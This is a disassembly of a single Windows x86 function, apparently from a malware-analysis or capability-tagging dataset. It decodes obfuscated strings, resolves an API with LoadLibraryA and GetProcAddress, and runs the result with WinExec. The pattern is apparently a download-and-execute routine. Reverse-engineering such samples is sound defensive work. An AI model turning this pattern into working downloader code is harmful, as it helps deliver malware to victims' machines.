Function at 0x404ac8
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x404ad2
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00402ed0
push 0x404e8c
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x404eb4
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404ec8
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404ed8
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404ef0
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404f04
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404f24
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404f4c
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404f68
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404f84
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404f9c
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404fc0
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404fd0
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404ff4
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405008
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40501c
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40502c
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405040
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405058
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405078
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405088
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050a0
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050b8
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050d4
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050f0
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405110
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
call fcn.0040234c
lea eax, [esp + 9]
push eax
push 0x407e24
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x404ce7
mov bl, 1
jmp 0x404cf0
add edi, 0x400
dec esi
jne 0x404cc5
test bl, bl
je 0x404e7d
mov ecx, 0x407b18
mov edx, 0x405120
mov eax, 0x405128
call fcn.00402bac
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x404e7d
mov ecx, 0x407b18
mov edx, 0x405130
mov eax, 0x405128
call fcn.00402bac
mov esi, eax
cmp esi, dword [esp]
jb 0x404e7d
mov ecx, 0x407b18
mov edx, 0x405138
mov eax, 0x405128
call fcn.00402bac
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x404e7d
mov eax, 0x407c1c
call fcn.00402764
test al, al
je 0x404e7d
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402ed0
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060a0
mov ecx, 0xa
call fcn.00402414
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x404e7d
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402ed0
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060ac
mov ecx, 0x12
call fcn.00402414
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x404e7d
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402ed0
push 0xe0
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060c0
mov ecx, 0x2b
call fcn.00402414
push 0
push 0
push 0x407c1c
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x404e7d
push 0
push 0x407c1c
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x404e7d
push 0x407b18
mov ecx, 0x405140
mov edx, 0x405120
mov eax, 0x405128
call fcn.00402b38
push 0x407b18
mov ecx, 0x405140
mov edx, 0x405130
mov eax, 0x405128
call fcn.00402b38
push 0x407b18
mov ecx, 0x405140
mov edx, 0x405138
mov eax, 0x405128
call fcn.00402b38
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret